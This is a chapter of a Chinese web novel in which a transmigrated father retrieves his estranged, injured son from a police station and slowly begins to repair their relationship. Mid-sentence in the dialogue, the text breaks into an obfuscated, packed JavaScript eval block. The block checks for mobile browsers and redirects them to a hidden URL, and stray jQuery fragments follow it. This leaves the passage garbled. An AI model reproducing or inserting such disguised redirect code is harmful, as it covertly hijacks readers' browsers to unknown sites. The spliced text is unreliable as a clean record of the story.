明则仙一下了摩托车就往派出所里冲,动作快的连门口的民警都被他快出残影的跑步姿势惊的一愣,拿着文件站在原地好半晌没动作,还以为是上面派精英来巡查了。
明则仙匆匆走了进去,干净整洁明亮的派出所大厅内都是来来往往疾步匆匆的警察,他没好意思截住他们的去向打扰,环顾四周,看到办不成事窗口坐着一个看起来脾气很好的女警,便走过去问:
“你好,请问我儿子明景在哪里?”
女警抬起头来,看着明则仙,详细问过了事情经过,随即让明则仙稍等一会儿,然后就打了个电话。
没多久,明则仙身后的楼梯就下来一个民警,叫道:
“谁是明景的家长?”
明则仙赶紧回过头去,道:
“我是,我是。”
民警对明则仙点头道:“你来一下。”
言罢,他转身朝楼上的办公室走去。
明则仙赶紧跟上。
民警脚步很快,步子迈的很大,光洁干净的瓷砖地面倒映出明则仙有些惴惴不安的脸。
他在电话里听到明景说自己打人的事情,可原著里明景性子冷淡,很能隐忍,不是随便会动手的人,一定是对方先挑衅了他,他忍无可忍才出手的。
那会是谁先挑衅明景呢?
明景他.........受伤了吗?
心中的疑问一个接着一个冒了出来,明则仙想问但又不好意思问,只能跟在民警身后,来到一个办公室门前。
办公室的门被人从外面推开,明则仙抬眼看去,只见一个十八九岁的少年正垂头靠墙坐着。
他的衣服外套上全是星星点点的都是暗红,他一边揉着鼻子,一边把手里的纸巾丢在地上,地上洒了一圈的纸团,上面沾着红色的血渍。
明则仙见状心中一紧,几乎是想也不想就从民警的身后挤了进去,箭步冲到那少年身边,一把抓住了那少年的肩膀,在那个少年抬起脸的瞬间,紧张又担忧地问道:
“儿子,你没事吧?!”
少年:“.........”
他惊讶又错愕地瞪圆眼睛,不可置信地看着明则仙,还未开口,明则仙就伸手捧起少年的脸,上上下下检查了一番少年的伤势,看着少年残缺的牙齿,心疼道:
“牙齿都掉了,真可怜。”
少年:“.........”
正在明则仙在想待会儿要不要带明景去补牙的时候,身后的民警疑惑地开了口:
“你........不是明景的家长吗?”
明则仙转头,笃定道:“我是啊。”
“那你面前这个不是你儿子,”民警眼睛里闪过一丝无语,指了指坐在明则仙身后,靠墙坐着的黑发少年:
“这个才是明景。”
明则仙:“.........”
明景:“.........”
他靠墙坐着,眼睫如蝶翼微颤,左眼雾蒙蒙的看不清晰,但已经将明则仙方才的动作看的一清二楚。
连自己的儿子都会认错.........
明景抱臂,微微仰起头,看着一脸尴尬地朝自己走来的明则仙,嘴角勾起嘲讽的笑。
他脸上没有失望和无奈,只有释然和平静:
“你刚刚又去喝酒了?”
“没喝。”明则仙心想自己刚刚穿过来又没见过明景,哪里知道明景长什么样。
他伸出手,想要摸一摸明景的头表示抱歉,却被明景偏头避开。
“等一会儿何明朗的家长也会来,我会组织调解。”
民警说:“两个人看起来都还像孩子,都是大学生,年纪轻轻的,别给自己的人生留下污点。事情还是不要闹大的好,能私下达成和解,就和解吧。”
明则仙点头:“您说的是。”
在等何明朗的家长来的时候,明则仙就坐在明景的身边。
明景不看他,也不开口解释,一副懒得和明则仙说话的样子。
明则仙低下头,看着明景破皮出血的指骨,想要抓过明景的手腕看的更清楚一些,却被明景反应很大地下意识扯开,不让明则仙碰。
“让我看看你的伤口。”明则仙指尖还悬在空中,没有收回来:
“手疼不疼?”
明景不想理他,于是只转过头去,轻飘飘吐出两个字:“不疼。”
“嘴还挺硬。”明则仙笑:“真不疼啊。”
明景顿了顿,又问:“吃饭了吗?”
明景嫌他烦,闭上眼睛,不说话了。
明则仙见状,也不以为忤,起身出去了。
感受到明则仙从身旁离去的动静,明景悄然睁开了眼睛。
视线尽头是明则仙的背影。
他出神地瞧着。
不知道从什么时候,明景就常常看到明则仙的背影。
他小的时候,其实很渴望父亲的怀抱。
可家里人总说父亲工作忙,让他不要去打扰明则仙,每天早晨的时候,他就藏在房间门后,眼巴巴看着明则仙去上班。
后来,明则仙染上了赌瘾和酒瘾,几乎每天晚上都不回家,就算要回,也是匆匆忙忙地在家换一件衣服,或者放下公文包,就离开。
走到门前,关上门,离开,然后消失不见,直到下一次继续重复。
这样连贯的动作在明景的记忆里上演了无数遍。
明景从一开始渴望父亲的陪伴,变成了想要父亲经常回家,到最后只希望明则仙喝醉了酒不要动手打他和弟弟。
父亲形象的长期缺位让明景打心眼底对父爱没有了渴望,他知道彼此之间的血脉连接也不过是一碰就断的腐朽红线,仅剩的一点孺慕之情在十多年来明则仙对家庭的漠视中,逐渐消磨殆尽了。
现在的明则仙对于明景来说,不过只比仇人要好一个层次,但也........相差无几。
明景不知道明则仙去哪了,或许一走了之也不奇怪。
明则仙能保持清醒地来这里就已经超乎了明景的意料之外,明景不期待明则仙能站在自己这边帮自己完美解决这件事。
毕竟是他自己犯下的错误,他不指望明则仙能帮他兜底。
思及此,明景下意识站起身来。
他已经做好了要继续打工赔钱的准备了。
正当他想找民警时,身后的门又被打开。
明景下意识回过头去,只见迎面便落下了一个巴掌,他错愕地站在原地,几秒钟之后,一个响亮的耳光就扇在了他脸上。
他被这个耳光扇的嗡嗡作响,下意识偏过头去,踉跄几步,后腰顶在了办公桌尖锐的桌角,脸颊上火辣辣的痛感和后腰传来的撞击疼的他面色微微扭曲,皱起了眉头。
“老婆,别这样.........”
一旁似乎有劝架的声音传来,民警也反应过来了,呵道:
“干什么?在派出所打人?!”
“哪来的穷小子敢打我儿子?!”女人尖利的声音像是甲片一样划开了空气,直直刺进了明景的耳朵里:
“一点教养也没有!”
明景被扇的右脸火辣辣的疼,眼睛也雾蒙蒙地看不清晰,忍着后腰的疼痛,一声不吭。
那女人见明景不说话,又想来拉扯明景,被恼火的民警拉开之后,指甲还不甘心地在明景的脖子上留下了几道血痕。
正当屋内一片混乱的时候,明景只觉面前忽然落下一层阴影,他下意识地抬起头一看,只见明则仙站在他面前,指尖还勾着蓝色的医药袋子,随着他把女人推开的动作哗啦啦作响:
“这位女士,冷静点。”
明则仙把女人推开,挡在明景面前,沉着脸道:
“事情的经过都还没有了解清楚,别随便打人。”
“还有什么好说的,我儿子都被打成这样了!”
明则仙长的很高大,体格都和站在一旁训练有素的民警差不多了,女人见状有些忌惮,不敢动手,但嘴巴上依旧不吭服软:
“赔钱!”
“可以啊。”
明则仙说:“不过我刚刚出去,和门口的书店老板了解了一下事情经过,好像是你儿子先挑衅的吧?这样,我们先把监控调出来看看,看到底是谁的责任更大;然后再验伤,如果是我们家的错,我肯定赔钱,但如果不是我们的问题,我也有依法索取经济赔偿的权利。”
明则仙头脑很清晰,一下子把民警想说的话都说完了。
女人看着明则仙破旧的装扮,还以为他是什么社会底层人士可以随意拿捏欺负,却没想到明则仙看起来弱但实际上骨头却很硬,当下愣在那里,一眨不眨地盯着明则仙看,也不知道在想什么。
见女人不再动手了,明则仙这才转过头来。
他掌心捧起明景的脸,左右看了看,明景侧头想躲,却被明则仙按住:
“别动。”
明则仙指尖拂过他嘴角的肿胀青紫,道:
“等会儿让警察叔叔带你去验伤,做笔录的时候,他问你当时发生了什么,你就诚实地说,不要怕。”
这副哄孩子的话让明景直听的想笑,但被嘴角的伤口牵扯的无法做出太大的动作,只故意道:
“要是就是我先动手打人,你怎么办?”
“赔钱,还能怎么办。”
明则仙说:“但是你是好孩子,我不相信你会无缘无故地动手打人。”
明景:“..........”
他不再说话了。
过了一会儿,民警果然带着明景和何明朗去验伤了,回来又带着两个人做了笔录。
因为有监控摄像头和书店老板的作证,都可以证明是何明朗先挑衅动手的。
明则仙请了半天假,从上午开始就一直陪着明景留在派出所,两人直到晚上十一点多才出来。
虽然何明朗看起来伤的更严重,但是是他已经成年了,又是他先在人多的地方闹事动手的,而明景按照身份证上来看还是未成年,法律要更倾向于保护未成年,因此这一场斗殴事件还是何明朗责任更大,如果明则仙选择不和解的话,明景是未成年最多被教育几句,而何明朗是有可能被行政拘留几天的,就看派出所那边怎么定性了。
一旦被行政拘留,留下案底,起码以后要考公考编当兵都是不可能的了。
何明朗的母亲当场被吓坏了,从一开始的气势汹汹变成了紧张崩溃,最后甚至按着何明朗跪在明则仙和明景的脚边大哭,求明则仙和明景的原谅。
明则仙考虑到以他们的财力要起诉有点难,加上明景也怕麻烦,两方还是选择了和解。
最后何明朗家当场赔了一万四,既是医药费,又加上那一巴掌的精神损失费。
“医生说你有点眼外伤出血,要不要带你去大医院再看看。”明则仙看着伤情鉴定报告,皱着眉道:
“你现在还能看得清东西吗?”
“不用了。”明景无所谓道:“不影响的。”
明则仙不说话了。
明景和明则仙站在派出所门口互相看了一会儿,都从彼此眼睛里看出了陌生。
寒风飕飕,打在裸露在外的皮肤上,有点冷。
片刻后,明景不习惯和明则仙呆着,于是率先移开眼睛,低声道:“我先走了。”
言罢,他抬脚就想离开,但下一秒,就被明则仙拉住了:
“等一下。”
明则仙站在明景的身后问:“你们学校还没放假吗?”
明景挣开明则仙的手,后退几步,面无表情道:
“还没。”
“现在都马上要过年了,怎么可能还没放假。”明则仙说:“你一个小孩,在外面怎么照顾的好自己?”
明景被明则仙接二连三的关心打的措手不及,他不适应这样父子之间温情脉脉的氛围,不适地皱起了眉,道:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15345010|167793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我已经成年了,不用你管。”
言罢,他不顾明则仙的阻止,转身就往外走去。
就在他准备上最后一班公交车回旅舍的时候,明则仙却追了上来:
“等等!”
明景还以为明则仙想让他跟自己回家,张嘴正想拒绝,掌心里却被强行塞了两个袋子:
“这是我刚刚出去买的碘伏和棉签,还有消肿的药。”
明则仙追他追的气喘吁吁的,寒风吹过他没有经过打理的长发,透着些许凌乱:
“你在外面好好照顾自己,如果遇到什么问题再给我打电话。如果要回家,就给我发消息,我来接你。”
明景:“..........”
他张了张嘴,站在公交车投币的梯上,居高临下地看着胡子拉碴、陪他在派出所待了几乎十个小时的明则仙,一时间不知道该开口说些什么。
公交车门被关上,明则仙的身影很快消失,明景透过玻璃门去看,明则仙在视线里逐渐变小。
但手中的袋子却越来越重。
明景低下头去,只见袋子里果然装着未拆封的碘酒棉签和药膏,而另外一个袋子里,则装着饭团和牛奶。
饭团和牛奶都已经冷了,应该是明则仙中午去便利店买给他的。
明景闭了闭眼睛,掌心用力攥紧了袋子。
放在兜里的手机忽然震动几下,明景睁开眼睛,下意识拿起来,看向屏幕。
是明则仙的好友申请。
在高考完之后,明景就拉着行李箱离开了家,走的时候甚至还把明则仙的微信删除了。
他犹豫了很久,久到明则仙又发了一次好友申请,他才动了动手指,选择了通过。
看着停留在一年前的聊天框,他还不知道要说什么,明则仙就已经给他转了一万五过来。
除掉何明朗家给的赔偿,明则仙还多给了明景一千块,并附言:
“上个学期的钱爸爸没给你,很愧疚。寒假我会多努力挣钱,你身体受伤了,就不要这么辛苦出去打工,好好休息。下学期的学费和生活费我会想办法,这些钱你先拿着,给自己买点好的电子产品,快过年了,再买几身合身的衣服穿。”
明景:“..........”
他的指尖微微绷紧,片刻后用力攥紧了手机。
他没有回复明则仙,只是低下头,额头抵在冰冷的手机屏幕上。
手机屏幕亮了一会儿,又重新熄灭了。
“仙洞站,到了。”
不知保持这个姿势过了多久,听到广播的提示音,明景这才缓缓抬起了头。
眼前飘过的led灯的字体从模糊到清晰,再到模糊。
见状,明景心中微微一沉。
他左眼看不清晰,站起身时只能摸着椅子下去。
下了公交车,他沿着路边,往租住的旅舍里走。
马上就要十二点了,很多商店都关门了,旅舍又地处偏远,明景越往里走,路就越黑。
他眼前雾蒙蒙的,看不清楚,只能努力眯着眼睛,借着路灯的光线往里走。
可天公不作美,他还没找到自己住的地方,面前的路灯就因为接触不良,刺啦一声,陡然熄灭了几盏。
他四周的环境彻底陷入了漆黑中。
明景这下什么都看不起清楚了。
周围静悄悄的,没有什么人在,可能有人明景也看不到,他只能僵在原地,不知道该硬着眼皮往前走,还是该开口喊人帮忙。
可他生性冷淡倔强,不到万不得已,不肯主动求助。
就在他进退维谷,举步维艰的时候,手机屏幕忽然亮了起来。
在漆黑的夜里,手机屏幕的光线显地无比凸出,明景拿起手机,看不清手机屏幕上的字,只能凭着感觉和习惯将指尖从左滑至右边接起,放到耳边:
“喂?”
“儿子,到家没。”电话那头传来钥匙插进锁孔里开门的声音,显然明则仙也是刚到家,一边打开门一边叮嘱道:
“放在袋子里的饭团和牛奶你回去想办法热一下再吃。”
明景:“............”
他住的地方什么都没有,哪里能热东西,何况他现在看不清东西,都不知道自己站在哪里,还不知道怎么回去。
他站在原地,踌躇了片刻,最后还是没有选择开口向明则仙表明现在的情况,更没有求助,只道:
“知道了。”
电话那头传来明则仙的呼吸声,很沉稳。
父子俩谁也没有先开口说话,就这样沉默了一会儿,片刻后,明则仙才主动道:
“那我就不打扰你休息了,有事再给我打电话,嗯?”
“.........好。”明景说。
他是说不出什么软话的,明则仙也是,许久之后,他才听见明则仙笑了一下:
“那.......晚安,做个好梦,儿子。”
明景微微一愣,没料到明则仙竟会对自己说这个,好半晌不知道要回什么。
耳边传来嘟的一声响,电话被挂断,明景放下手机,耳边却依旧回响着明则仙那一声带着笑的晚安。
寂静漆黑又寒冷的夜里,似乎只有明则仙的话带着温度,使用中的手机微微发着烫,这一句晚安像是能从屏幕里透出来一样,自掌心染上些许热意。
很寻常的一句话,像是父子之前再寻常不过的关心,只有明景自己知道,自从离开家之后,家暴的阴影始终如影随形,他已经很久没有好好睡上一觉了,经常在噩梦中惊醒,醒来之后冷汗层层,头晕眼花。
做个好梦,是此时此刻对他来说,最可望而不可即的祝福。
过了很久,很久,久到手机自动熄屏,明景才意识到自己已经轻声开了口,声音细如丝缕,只有他一个人能听清——
“晚安。”
“........爸爸。”